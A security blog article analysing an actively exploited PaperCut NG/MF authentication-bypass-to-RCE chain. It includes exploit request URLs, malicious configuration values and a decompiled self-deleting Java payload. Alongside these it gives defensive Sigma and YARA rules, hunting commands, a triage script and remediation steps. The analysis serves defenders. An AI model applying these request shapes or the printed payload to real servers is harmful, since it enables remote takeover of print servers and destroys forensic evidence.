On August 27, 2026, PaperCut Software published an urgent security bulletin confirming something every organization running internet-facing print infrastructure needed to hear immediately: attackers were actively exploiting a previously unknown vulnerability chain in PaperCut NG and PaperCut MF, with confirmed customer incidents. Within forty-eight hours, the vendor had assigned two CVEs, shipped an emergency patch, discovered that patch was insufficient, and shipped a second “Release 2” emergency patch built with input from external researchers at Huntress and watchTowr. This is one of the fastest public patch–bypass–repatch cycles in recent memory, and it underscores just how much headroom attackers had in this attack surface.
This article is a complete, engineer-to-engineer analysis of the incident. We reconstruct the full pre-authentication remote code execution (RCE) chain from primary sources — the Huntress field report, the PaperCut security bulletin, Rapid7’s technical overview , and BleepingComputer’s reporting — augment it with original forensic analysis of the public artifacts (including the decompiled Udydn.class payload and the server.log excerpts shown in Figures 1–4 of the Huntress advisory), and close with ready-to-deploy detection content (Sigma, YARA, shell one-liners), a defensive triage tool, and a prioritized remediation playbook. Whether you are a SOC analyst writing detections, a blue-team lead scoping exposure, or an administrator who just needs to know what to do today, everything you need is below. PoC released below.
Key Takeaways
- Two flaws, one chain. CVE-2026-81578 (CVSS 8.8, CWE-306) is an authentication bypass in the web management interface that lets unauthenticated requests mutate system configuration. CVE-2026-82078 (CVSS 9.4, CWE-470) is an unsafe dynamic class-loading flaw in the database connection utilities that converts attacker-controlled configuration into arbitrary Java bytecode execution.
- Active, targeted exploitation. Huntress observed exploitation in two customer environments on August 26–27, with attacker activity focused on system discovery (
whoami & ver & tasklist) and heavy anti-forensics. - The first patch was bypassed. watchTowr and Huntress both discovered bypasses of the initial emergency patch, forcing PaperCut to publish Emergency Patch Release 2 for v24, v25, and v26. If you applied only the first patch, you are not protected.
- Nearly half the installed base has no patch. Roughly 47% of the ~2,500 PaperCut installations tracked by Huntress run v23 or older, for which no emergency patch exists — upgrade is the only path.
- Detection is feasible right now. Vendor-confirmed log signatures (
ERROR DatabaseUtils - Database error looking up cardID: VALUES CAST,ERROR No suitable driver found for jdbc:no:x), thejdbc:derby:memory:pwnbreadcrumb, five-character.classfiles underserver/lib, andpc-app.exespawning shells give defenders high-fidelity coverage.
Why a Print Server Is a Crown-Jewel Target
It is tempting to file “print management software” under boring infrastructure, and that is precisely what makes this class of product so attractive to attackers. PaperCut NG and PaperCut MF are among the most widely deployed print-management platforms in the world, dominating large enterprises, healthcare networks, and higher education — sectors where on-premise print infrastructure remains the norm and where the Application Server is routinely joined to Active Directory, holds privileged service accounts, and sits on network segments rich with lateral-movement opportunities. On Windows, the Application Server binary pc-app.exe runs as a service with SYSTEM privileges by default, so any code execution inside the Java process is, for practical purposes, full host compromise.
None of this is theoretical. In 2023, the CVE-2023-27350 / CVE-2023-27351 authentication-bypass-to-RCE chain in the same product was exploited within weeks of disclosure and subsequently weaponized by an unusually diverse roster of threat actors: the Cl0p and LockBit ransomware operations, the Bl00dy ransomware gang, and Iranian state-sponsored intrusions, prompting a joint FBI/CISA advisory (AA23-131A). That history matters for today’s incident for two reasons. First, it proves there is an established attacker playbook — and existing tooling — for turning PaperCut pre-auth RCE into ransomware and espionage. Second, it tells us how to posture this event: not as a routine CVE cycle, but as a compromise-assumed incident for any internet-exposed server. The 2026 chain we analyze below is, in spirit, the 2023 chain’s successor: an authentication bypass on the management interface feeding a code-execution primitive inside the server process, with the only real difference being the mechanics of the final step.
Disclosure Timeline
| Date (2026) | Event |
|---|---|
| Aug 26, ~21:57 UTC | First Huntress-observed exploitation incident (PaperCut MF 25.0.10.x); attacker executes whoami & ver, drops Udydn.class, wipes logs. |
| Aug 27 | PaperCut publishes urgent security bulletin confirming active exploitation; no CVEs or technical details initially. Emergency context amplified by The Hacker News and others. |
| Aug 27–28 | Huntress reproduces the full pre-auth RCE chain against a vanilla PaperCut NG 25.0.11.75758 server; second customer incident observed (MF 24.1.5.71847). |
| Aug 28, 02:10 AEST | First emergency patch published for v25/v26 (e.g., NG 25.0.12.76497 / MF 25.0.12.76496). |
| Aug 28 | CVE-2026-81578 and CVE-2026-82078 assigned; Rapid7 and IONIX publish technical analyses identifying the Tapestry request-smuggling bypass and affected version ranges (fixed in 24.1.10 / 25.0.13 / 26.0.5). |
| Aug 28, 20:42–22:08 AEST | Emergency Patch Release 2 published for v24/v25/v26 after watchTowr and Huntress demonstrate bypasses of the first patch and an additional authentication bypass. |
| Aug 29 | Bulletin updated with card/ID lookup hardening FAQ (security.card-number-lookup.enabled opt-in). |
The Two Vulnerabilities in Depth
CVE-2026-81578 — Authentication Bypass via Page/Component Confusion (CVSS 8.8, CWE-306)
PaperCut’s web administration interface is built on the Apache Tapestry framework, and Tapestry supports a “complex direct” service request format in which a single URL names both the page to render and the component whose action should execute. Rapid7’s analysis describes the consequence bluntly: PaperCut validates authorization against the page that will be rendered, not against the page that owns the component being invoked. An unauthenticated attacker can therefore render a page that requires no privilege — the public Error or Exception page — while silently executing a component belonging to an administrative page such as ConfigEditor or UserList. The published request shapes look like this (the 1 path segment is arbitrary, and Error may be swapped for Exception — or, against the first patch, Home):
POST /app?service=direct/1/Error/ConfigEditor/quickFindForm HTTP/1.1POST /app?service=direct/1/Error/ConfigEditor/$Form HTTP/1.1POST /app?service=direct/1/Error/UserList/$QuickFind.$Form HTTP/1.1
This is a textbook CWE-306 (Missing Authentication for Critical Function) expressed through framework-specific semantics: the access-control decision and the action being protected live in different objects, and the attacker chooses which object the check applies to the CVSS v4 vector AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L tells the story in compressed form — no privileges, no user interaction, low complexity, and the dominant impact is on configuration integrity, which is exactly the primitive the second CVE needs. Critically, the first emergency patch failed to account for the Home page as a rendering target; watchTowr and Huntress independently demonstrated bypasses, which is why Release 2 exists and why any server sitting on the first emergency build should be treated as still vulnerable.
CVE-2026-82078 — Unsafe Dynamic Class Loading in the Database Connector (CVSS 9.4, CWE-470)
PaperCut NG/MF supports an “external user lookup” feature that lets administrators point the Application Server at an external card/ID database: the server reads a configurable JDBC driver class name, a JDBC URL, and a SQL statement template, and uses them to resolve card numbers to usernames (this is the feature behind the cardID lookups seen in the logs). The vulnerability is that the database connection utilities instantiate whatever driver class the configuration names without an allowlist. This is CWE-470 — externally controllable input selecting code — and its impact statement is unusually explicit: “If an attacker can manipulate system configuration parameters, this enables the execution of arbitrary Java bytecode residing on the application classpath under the security context of the PaperCut server process”. Note the CVSS v4 vector’s PR:H requirement: on its own, this flaw demands high privileges to reach — but CVE-2026-81578 manufactures those privileges from nothing. That is what makes the pair a chain rather than two separate bugs, and why the combined real-world severity is pre-auth SYSTEM-level RCE.
| Attribute | CVE-2026-81578 | CVE-2026-82078 |
|---|---|---|
| Class | Improper access control / auth bypass (CWE-306) | Unsafe dynamic class loading (CWE-470) |
| CVSS v4 | 8.8 (High) | 9.4 (Critical) |
| Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N | AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| Primitive | Unauthenticated configuration write | Config-to-code-execution (arbitrary bytecode on classpath) |
| Fixed in | Emergency Patch Release 2 (24.1.10 / 25.0.13 / 26.0.5) | Emergency Patch Release 2 (24.1.10 / 25.0.13 / 26.0.5) |
Anatomy of the Exploit Chain
Synthesizing the vendor bulletin, Huntress’s field artifacts, and Rapid7’s reproduction, the attack decomposes into six stages. We present the mechanics that are publicly documented as fact, and we flag the two stages where we offer a labeled reconstruction.
[0] Recon Internet-exposed PaperCut web interface (TCP 9191/9192) |[1] Auth bypass /app?service=direct/1/Error/ConfigEditor/$Form (CVE-2026-81578) | -> write user-lookup.* configuration keys[2] Weaponize user-lookup.enabled=true user-lookup.db-driver=<bundled driver> -> later: <attacker class> user-lookup.db-url=jdbc:derby:memory:pwn user-lookup.id-to-username-sql=<attacker statement> |[3] Trigger /app?service=direct/1/Error/UserList/$QuickFind.$Form (cardID = payload) | -> attacker SQL executes inside embedded database engine[4] Stage files data/content/Udydn.cmd (base64 command) server/lib/Udydn.class (hex-smuggled Java bytecode) [RECONSTRUCTION] |[5] Code exec db-driver=Udydn -> Class.forName() -> static{} runs (CVE-2026-82078) | -> cmd /c "whoami & ver" as SYSTEM under pc-app.exe[6] Anti-forensics delete server.log*, derby.log, .cmd/.out, self-delete

Stages 1–2: the configuration write. Using the Tapestry confusion primitive, the attacker submits the ConfigEditor form as an anonymous user and rewrites the four keys that govern external user lookup: user-lookup.db-driver, user-lookup.db-url, user-lookup.id-to-username-sql, and user-lookup.enabled. These are ordinary, legitimate administrative settings — there is no memory corruption here, no deserialization gadget; the attacker is simply administering the server better than the admin, and every downstream component dutifully honors the new configuration.
Stage 3: the trigger. A second smuggled request against UserList/$QuickFind.$Form performs a card/ID search. The Application Server, honoring the attacker-written configuration, opens a connection to the attacker-chosen JDBC URL — in the observed incident, jdbc:derby:memory:pwn, an in-memory Apache Derby database that leaves almost no on-disk footprint — and executes the attacker-chosen SQL statement carrying the attacker-chosen cardID value. Rapid7’s independent reproduction used a different but related route: a Derby CALL statement enabling Derby’s foreign-views feature to bridge into an attacker-controlled H2 JDBC URL, whose inline INIT parameter creates a JavaScript-backed trigger executed by the Nashorn engine bundled with PaperCut — a well-known H2/Nashorn code-execution pattern. The existence of two independent routes from “config write” to “code execution” explains why the first emergency patch, which addressed only part of the surface, was bypassed so quickly.
📬 Stay Ahead of Cyber Threats
Get the latest cybersecurity news, critical vulnerabilities, threat intelligence, tutorials, and exclusive giveaways delivered straight to your inbox. No spam. Unsubscribe anytime.
Subscribe to the Newsletter →Stage 4: staging files (reconstruction). The server.log recovered by Huntress shows the attacker’s statements in the clear. The first is a character-literal CLOB cast carrying the base64 string d2hvYW1pICYgdmVy (whoami & ver); seven seconds later, a second statement carries a multi-kilobyte hex blob beginning with cafebabe — the magic bytes of a compiled Java class file, major version 0x0037 (55), i.e., compiled for Java 11, exactly matching the runtime PaperCut ships. Both log lines terminate in the same JDBC error: the lookup code expected a ResultSet, but the attacker’s statement “returns a row count” — meaning the statement executed and only the result-shape contract failed. The publicly available material does not pin down the exact file-write primitive, but two candidates are consistent with every artifact: Derby’s SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE, which writes raw LOB bytes to an arbitrary path and whose inner query is precisely a VALUES CAST(... AS CLOB) statement, and H2/inline-Java file writes via the route Rapid7 describes. Either way, the outcome observed on disk is unambiguous: a base64 command file at server/data/content/Udydn.cmd and a compiled class at server/lib/Udydn.class — and server/lib is on the Application Server’s classpath, which is precisely the precondition CVE-2026-82078 requires.
Stage 5: code execution. With the class resident on the classpath, a final configuration write points user-lookup.db-driver at the class name Udydn. The next connection attempt performs the unsafe dynamic instantiation — Class.forName("Udydn") — and because Java executes a class’s static {} initializer at load time, merely loading the class detonates the payload. Huntress’s own proof-of-concept against a stock PaperCut NG 25.0.11.75758 server popped a visible charmap.exe process running as SYSTEM, parented by pc-app.exe, confirming the chain end-to-end without any credentials at any point.
Stage 6: anti-forensics. The payload’s cleanup thread (analyzed in the next section) sleeps twenty seconds, then deletes logs/server.log and every server.log.* rotation, deletes data/internal/derby.log, and removes its own staging files and class — which is why PaperCut lists missing or truncated server.log files as a primary indicator of compromise. The one breadcrumb the attacker missed is that Derby had already appended a boot record to data/internal/derby.log naming the in-memory database path memory:C:\Program Files\PaperCut MF\server\data\internal\pwn — a near-perfect IOC, since no legitimate deployment ever boots a Derby database named “pwn”.
Inside the Payload: Decompiling Udydn.class
Huntress recovered the hex blob from server.log, carved it, and decompiled it with Fernflower. The resulting listing (reconstructed from Huntress Figures 3–4, and mirrored in the screenshots accompanying this article) is a compact, OS-agnostic, self-cleaning implant:
public class Udydn { static { // <-- runs at Class.forName(): load == detonate String var0 = "Udydn"; try { // 1. Read attacker-staged base64 command, e.g. "d2hvYW1pICYgdmVy" String cmd = new String(Files.readAllBytes( Paths.get("data/content/" + var0 + ".cmd")), "UTF-8").trim(); String decoded = new String(Base64.getDecoder().decode(cmd), "UTF-8"); // 2. OS-agnostic execution: cmd.exe on Windows, /bin/sh elsewhere boolean isWin = System.getProperty("os.name").toLowerCase().contains("win"); String[] argv = isWin ? new String[]{"cmd", "/c", decoded} : new String[]{"/bin/sh", "-c", decoded}; Process p = new ProcessBuilder(argv).redirectErrorStream(true).start(); // 3. Capture stdout/stderr -> data/content/Udydn.out (exfil staging) ByteArrayOutputStream out = new ByteArrayOutputStream(); InputStream in = p.getInputStream(); byte[] buf = new byte[8192]; int n; while ((n = in.read(buf)) != -1) out.write(buf, 0, n); Files.write(Paths.get("data/content/" + var0 + ".out"), out.toByteArray(), new OpenOption[0]); } catch (Throwable t) { try { // Even failures phone home: "ERR: <exception>" Files.write(Paths.get("data/content/" + var0 + ".out"), ("ERR: " + t).getBytes("UTF-8"), new OpenOption[0]); } catch (Throwable ignored) { } } // 4. Anti-forensics thread: 20s delay, then burn the evidence new Thread(() -> { try { Thread.sleep(20000L); } catch (Throwable ignored) { } File[] logs = new File("logs").listFiles(); if (logs != null) for (File f : logs) { String name = f.getName(); if (name.equals("server.log") || name.startsWith("server.log.")) f.delete(); } new File("data/internal/derby.log").delete(); // ... deletes .cmd / .out staging and the .class itself }).start(); }}
Several design choices deserve comment because they reveal attacker tradecraft. Execution in the static initializer means the implant does not need to implement java.sql.Driver or any interface at all — the class is chosen to load, not to function, and the inevitable SQLException downstream (“No suitable driver found for jdbc:no:x” is itself a vendor-published IOC) is noise the attacker happily accepts. The command is indirectioned through a base64 file rather than hardcoded, so the same class binary serves any command the operator stages — today whoami & ver, tomorrow certutil -urlcache or a C2 bootstrap — and the class file itself never changes, defeating naive hash-based detection of the command. The 20-second delayed cleanup is deliberately longer than the exploitation session (Huntress measured the entire observed intrusion at under two minutes), ensuring the log lines that would convict the attacker are deleted after they are written, which in turn converts “log integrity” — missing, truncated, or freshly-recreated server.log files — into one of the strongest detections in this entire incident. Finally, the five-character pseudo-random class names (Udydn, and a second copy recovered as Moo97) are a deliberate anti-signature choice: defenders should hunt for the pattern (short, randomly-named .class files under server/lib with creation times aligned to the incident window), not the literal strings.
Field Observations: What the Attackers Actually Did
The two Huntress customer incidents give us a rare, high-fidelity picture of early zero-day exploitation. In incident one (August 26, PaperCut MF 25.0.10.x on Windows), the decoded command was whoami & ver — pure environment validation: which identity did I land as, and which OS build is this? The log excerpt (Figure 1 of the Huntress report, reproduced in our screenshots) shows the base64 string d2hvYW1pICYgdmVy embedded in the failed card-lookup statement at 21:57:04, followed seconds later by the cafebabe class-file blob and the jdbc:derby:memory:pwn connection — the entire kill chain compressed into a handful of log lines surrounded by perfectly benign MFP chatter (ToshibaV2ExtDevice polling), a reminder that these artifacts must be hunted by signature, not by eyeballing. In incident two (August 27, PaperCut MF 24.1.5.71847), the command grew to whoami & ver & tasklist (d2hvYW1pICYgdmVyICYgdGFza2xpc3Q=), adding process enumeration — the classic pre-ransomware/pre-C2 reconnaissance triad.
What is absent is equally important: neither Huntress nor PaperCut has yet observed secondary malware, persistence, or command-and-control from these intrusions. PaperCut told BleepingComputer the attacks “appear limited and targeted” and that it is deliberately withholding post-compromise detail while investigations continue. Read against the 2023 history — where the analogous chain was picked up by Cl0p, LockBit, Bl00dy, and Iranian state actors within weeks — the prudent interpretation is not “low severity” but “early innings.” Discovery commands and log-wiping are what the first wave of a zero-day looks like before tooling matures and commoditizes. The exposure math reinforces urgency: Huntress tracks roughly 2,500 PaperCut installations, of which 47% run v23 or older — versions for which no emergency patch exists at all.
Indicators of Compromise (IOC Reference)
| Category | Indicator | Confidence |
|---|---|---|
| Log string | ERROR No suitable driver found for jdbc:no:x in server.log | High (vendor) |
| Log string | ERROR DatabaseUtils - Database error looking up cardID: VALUES CAST | High (vendor) |
| Log string | VALUES CAST(X'cafebabe (hex class-file smuggled via lookup statement) | High |
| Log string | Base64 d2hvYW1pICYgdmVy / d2hvYW1pICYgdmVyICYgdGFza2xpc3Q= | High |
| Log string | DB URL: jdbc:derby:memory:pwn | Very high |
| File | derby.log containing memory:...\server\data\internal\pwn | Very high |
| File | Short random-named .class under server/lib (e.g., Udydn.class, Moo97.class) | High |
| File | *.cmd / *.out under server/data/content/ | High |
| Config | Unexpected values in user-lookup.enabled / user-lookup.db-driver / user-lookup.db-url / user-lookup.id-to-username-sql; unexpected security.card-number-lookup.enabled=Y post-Release-2 | High |
| Log integrity | Missing, truncated, or recreated server.log / server.log.* / derby.log | High |
| Process | cmd.exe, powershell.exe, whoami.exe, tasklist.exe parented by pc-app.exe (or PaperCut’s Java runtime) | High |
| Network | Unauthenticated POSTs to /app?service=direct/.../ConfigEditor/... or .../UserList/$QuickFind.$Form in proxy/WAF logs | High |
As PaperCut stresses, absence of these indicators is not evidence of absence — the payload deletes its own trail.
Detection Engineering: Sigma, YARA, and a Triage Tool
Sigma — exploitation artifacts in PaperCut logs. Deploy against your log-shipping pipeline for server/logs:
title: PaperCut NG/MF Exploitation Artifacts (CVE-2026-81578 / CVE-2026-82078)status: experimentallevel: criticaldescription: Detects vendor- and researcher-published log signatures of the actively exploited PaperCut pre-auth RCE chain (Aug 2026).references: - https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/ - https://www.huntress.com/blog/papercut-actively-exploitedlogsource: category: application product: papercutdetection: keywords: - 'ERROR No suitable driver found for jdbc:no:x' - 'ERROR DatabaseUtils - Database error looking up cardID: VALUES CAST' - "VALUES CAST(X'cafebabe" - 'jdbc:derby:memory:' - 'd2hvYW1pICYgdmVy' condition: 1 of keywordsfalsepositives: - unknowntags: [attack.initial_access, attack.t1190]
Sigma — post-exploitation process behavior and log tampering:
title: PaperCut pc-app.exe Spawning Shells / Discovery Toolsstatus: experimentallevel: highlogsource: {category: process_creation, product: windows}detection: parent: {ParentImage|endswith: '\pc-app.exe'} child: Image|endswith: - '\cmd.exe' - '\powershell.exe' - '\pwsh.exe' - '\whoami.exe' - '\tasklist.exe' - '\certutil.exe' - '\bitsadmin.exe' condition: parent and childtitle: PaperCut Log Tampering (server.log / derby.log Deletion)status: experimentallevel: highlogsource: {product: windows, service: sysmon}detection: sel: EventID: [23, 26] # Sysmon file delete / delete logged TargetFilename|contains: - '\server\logs\server.log' - '\data\internal\derby.log' condition: sel
YARA — the dropped class pattern (hunt server/lib, temp dirs, and carved log blobs):
rule PaperCut_Udydn_Style_Class_Payload_Aug26 { meta: description = "Java class payload pattern from PaperCut NG/MF exploitation (Udydn/Moo97)" reference = "https://www.huntress.com/blog/papercut-actively-exploited" date = "2026-08-29" strings: $magic = { CA FE BA BE 00 00 00 37 } // Java 11 class, as observed $s1 = "data/content/" ascii $s2 = ".cmd" ascii $s3 = ".out" ascii $s4 = "/bin/sh" ascii $s5 = "os.name" ascii $s6 = "server.log" ascii $s7 = "derby.log" ascii condition: $magic at 0 and filesize < 20KB and 4 of ($s*)}
Shell one-liners for immediate hunting (Windows PowerShell / Linux):
# Windows: sweep PaperCut logs for every published signatureGet-ChildItem "C:\Program Files\PaperCut MF\server\logs" -Filter "server.log*" | Select-String -Pattern "VALUES CAST|jdbc:derby:memory:|No suitable driver found|d2hvYW1p" | Select-Object Path, LineNumber, Line# Staged files + rogue classesGet-ChildItem "C:\Program Files\PaperCut MF\server\lib\*.class" | Where-Object { $_.Name -match '^[A-Za-z]{5}\.class$' }Get-ChildItem "C:\Program Files\PaperCut MF\server\data\content" -Recurse
# Linuxgrep -RnaE "VALUES CAST|jdbc:derby:memory:|No suitable driver found|d2hvYW1p" \ /opt/papercut/server/logs/ 2>/dev/nullfind /opt/papercut/server/lib -name "*.class" -newermt "2026-08-25" \ -regextype posix-egrep -regex ".*/[A-Za-z]{5}\.class"
Defender’s triage PoC. A weaponized exploit for this chain is publicly irresponsible to redistribute while exploitation is ongoing and half the installed base is unpatchable; the responsible “proof” for defenders is a compromise-assessment tool. The following script encodes every published IOC into a single verdict — save as papercut_triage.py and run on the Application Server:
#!/usr/bin/env python3"""PaperCut CVE-2026-81578 / CVE-2026-82078 compromise triage (defensive PoC).Read-only: scans logs, config and filesystem for published IOCs. Run as admin/root."""import re, sys, base64from pathlib import PathROOT = Path(sys.argv[1] if len(sys.argv) > 1 else r"C:\Program Files\PaperCut MF\server")LOG_RE = re.compile(rb"VALUES CAST|jdbc:derby:memory:|No suitable driver found" rb"|d2hvYW1pICYgdmVy|derby:memory:pwn|cafebabe00000037", re.I)B64 = {b"d2hvYW1pICYgdmVy": "whoami & ver", b"d2hvYW1pICYgdmVyICYgdGFza2xpc3Q=": "whoami & ver & tasklist"}hits = []for log in (ROOT / "logs").glob("server.log*"): # 1. log signatures data = log.read_bytes() for m in LOG_RE.finditer(data): hits.append(f"[LOG] {log.name}@{data.count(b'\n',0,m.start())}: {m.group(0)[:60]!r}") for tok, cmd in B64.items(): if tok in data: hits.append(f"[LOG] {log.name}: base64 command '{cmd}'")derby = ROOT / "data/internal/derby.log" # 2. derby breadcrumbif derby.exists() and b"internal\\pwn" in derby.read_bytes() + derby.read_bytes().replace(b"\\", b"/"): hits.append("[DERBY] in-memory 'pwn' database boot record present")elif not derby.exists(): hits.append("[DERBY] derby.log MISSING - possible anti-forensics")for c in (ROOT / "lib").glob("*.class"): # 3. rogue classes if re.fullmatch(r"[A-Za-z]{5}\.class", c.name): hits.append(f"[CLASS] rogue-looking class: {c} (mtime {c.stat().st_mtime})")for f in (ROOT / "data/content").glob("*"): # 4. staging files hits.append(f"[STAGE] {f}")sec = ROOT / "security.properties" # 5. config postureif sec.exists() and b"card-number-lookup.enabled=Y" in sec.read_bytes(): hits.append("[CONFIG] security.card-number-lookup.enabled=Y - verify legitimacy")print("\n".join(hits) if hits else "No published IOCs found. " "NOTE: absence is NOT clearance - the payload deletes logs. Correlate with backups/proxy logs.")
Remediation Playbook: The Next 24 Hours
1. Assume breach if you were exposed; patch regardless. Apply Emergency Patch Release 2 — fixed builds 24.1.10 / 25.0.13 / 26.0.5 per IONIX’s analysis — to the Application Server and Site Servers/secondary servers. Verify installer integrity against the published SHA-256 values before running, e.g. for MF v25 Windows b296de7da020152a83291378ab4ca5c461d76510648347fd6e69f3fb2cd5e9c9 is the first patch lineage; always re-read the live bulletin for Release 2 hashes:
certutil -hashfile PaperCutMF-25.0.13.exe SHA256 # Windowssha256sum PaperCutMF-25.0.13.sh # Linux
2. De-expose now, not after patching. Restrict TCP 9191/9192 to trusted management ranges at the firewall, or front the console with a VPN/SSO gateway. Every minute of public exposure is an anonymous ConfigEditor form submission away from SYSTEM.
3. Hunt before you reboot. Upgrading or restarting destroys volatile evidence. Preserve the full server/logs tree with metadata, server/data/internal/derby.log, server/data/content, any *.class under server/lib, the current configuration export, plus proxy/WAF/DNS logs covering the exposure window. Run the triage tool above and the Sigma/YARA content against preserved copies.
4. Treat positive hits as a full compromise. PaperCut’s own guidance for compromised servers is uncompromising and correct: secure backups, wipe and rebuild the Application Server, restore from a known-clean backup predating suspicious activity, and rotate every credential the server or its service accounts could touch. Given SYSTEM-level execution and AD membership, scope laterally from the host as you would any domain-joined server compromise.
5. Close the feature door. On Release 2, the external card/ID lookup is disabled by default and requires explicit opt-in via security.card-number-lookup.enabled=Y in server/security.properties. If you do not use this feature, confirm the key is absent or N — and alert on any future change to it or to the user-lookup.* keys, which is precisely the configuration surface this chain abuses. Organizations on v23 or older have no patch: for them, network isolation plus the upgrade path to a supported, Release-2-fixed version is not a recommendation, it is the entire mitigation.
FAQs
Is my PaperCut server affected?
All versions of PaperCut NG and MF prior to the Release 2 builds (24.1.10 / 25.0.13 / 26.0.5) should be treated as affected; v23 and earlier have no patch and must be upgraded
We applied the first emergency patch. Are we safe?
No. The first patch was bypassed via alternative rendering pages; install Release 2 immediately
Is this being exploited in the wild?
Yes — PaperCut confirmed customer incidents, and Huntress observed two intrusions with reconnaissance commands and anti-forensics
What are the fastest detections?
The two vendor log signatures, the jdbc:derby:memory:pwn/internal\pwn Derby breadcrumb, missing/truncated server.log, five-character .class files in server/lib, and pc-app.exe spawning shells
Why does a print server matter this much?
It runs as SYSTEM, sits inside your network perimeter, and historically (2023’s CVE-2023-27350) became a launchpad for ransomware and state-sponsored intrusions
Bottom Line
The August 2026 PaperCut incident is a case study in how modern zero-days actually unfold: a framework-level authorization confusion (CWE-306) handing an anonymous attacker the admin console’s write access, a configuration-to-code bridge with no driver allowlist (CWE-470) turning that write access into SYSTEM-level Java execution, an in-memory Derby database named pwn as the workspace, and a five-character class file that burns its own logs twenty seconds after detonation. The vendor and the research community — Huntress, watchTowr, Rapid7 — collaborated in near-real time, and the result is that defenders currently have better public telemetry (IOCs, request shapes, payload behavior) than attackers have attribution-free tooling. That window will not stay open. Patch to Release 2, de-expose the console, hunt the signatures above, and treat any hit as the beginning of an incident response, not the end of a vulnerability scan.









